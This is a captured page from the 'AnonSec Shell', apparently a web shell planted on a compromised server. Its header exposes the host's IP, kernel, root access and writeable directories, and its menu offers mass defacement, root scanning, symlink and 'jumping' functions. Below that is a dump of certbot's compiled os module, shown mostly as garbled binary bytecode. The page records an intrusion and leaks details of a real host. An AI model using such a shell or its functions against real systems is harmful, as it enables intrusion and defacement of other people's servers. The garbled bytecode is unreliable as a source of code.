AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/compat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/compat/__pycache__/os.cpython-310.pyc
o

6��a'%�@s�dZddlmZddlTddlZddlZejeZ	ej
�d�dks6ee�D]Z
ee	e
�s5ee	e
eee
��q%ddlmZeejed<[	[[d	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �ZdS)!a�
This compat modules is a wrapper of the core os module that forbids usage of specific operations
(e.g. chown, chmod, getuid) that would be harmful to the Windows file security model of Certbot.
This module is intended to replace standard os module throughout certbot projects (except acme).

This module has the same API as the os module in the Python standard library
except for the functions defined below.

isort:skip_file
�)�absolute_import)�*N�CERTBOT_DOCS�1)�_pathz.pathcO�td��)�Method os.chmod() is forbiddenzPUsage of os.chmod() is forbidden. Use certbot.compat.filesystem.chmod() instead.��RuntimeError��unused_args�
unused_kwargs�r�3/usr/lib/python3/dist-packages/certbot/compat/os.py�chmodB�rcOr)rzPUsage of os.umask() is forbidden. Use certbot.compat.filesystem.umask() instead.r	rrrr�umaskLrrcOr)zMethod os.chown() is forbiddenzgUsage of os.chown() is forbidden.Use certbot.compat.filesystem.copy_ownership_and_apply_mode() instead.r	rrrr�chownUrrcOr)zMethod os.open() is forbiddenzNUsage of os.open() is forbidden. Use certbot.compat.filesystem.open() instead.r	rrrr�open`rrcOr)zMethod os.mkdir() is forbiddenzPUsage of os.mkdir() is forbidden. Use certbot.compat.filesystem.mkdir() instead.r	rrrr�mkdirhrrcOr)z!Method os.makedirs() is forbiddenzVUsage of os.makedirs() is forbidden. Use certbot.compat.filesystem.makedirs() instead.r	rrrr�makedirssrrcOr)zMethod os.rename() is forbiddenzSUsage of os.rename() is forbidden. Use certbot.compat.filesystem.replace() instead.r	rrrr�rename{rrcOr)z Method os.replace() is forbiddenzTUsage of os.replace() is forbidden. Use certbot.compat.filesystem.replace() instead.r	rrrr�replace�rrcOr)zMethod os.access() is forbiddenz�Usage of os.access() is forbidden. Use certbot.compat.filesystem.check_mode() or certbot.compat.filesystem.is_executable() instead.r	rrrr�access�rrcOr)�Method os.stat() is forbiddenzUsage of os.stat() is forbidden. Use certbot.compat.filesystem functions instead (eg. has_min_permissions, has_same_ownership).r	rrrr�stat�rrcOr)rz�Usage of os.fstat() is forbidden. Use certbot.compat.filesystem functions instead (eg. has_min_permissions, has_same_ownership).r	rrrr�fstat�rrcOr)z!Method os.readlink() is forbiddenzVUsage of os.readlink() is forbidden. Use certbot.compat.filesystem.realpath() instead.r	rrrr�readlink�rr) �__doc__�
__future__r�os�std_os�sys�std_sys�modules�__name__�	ourselves�environ�get�dir�	attribute�hasattr�setattr�getattr�certbot.compatr�pathrrrrrrrrrrrrrrrr�<module>s4

�
			

Anon7 - 2022
AnonSec Team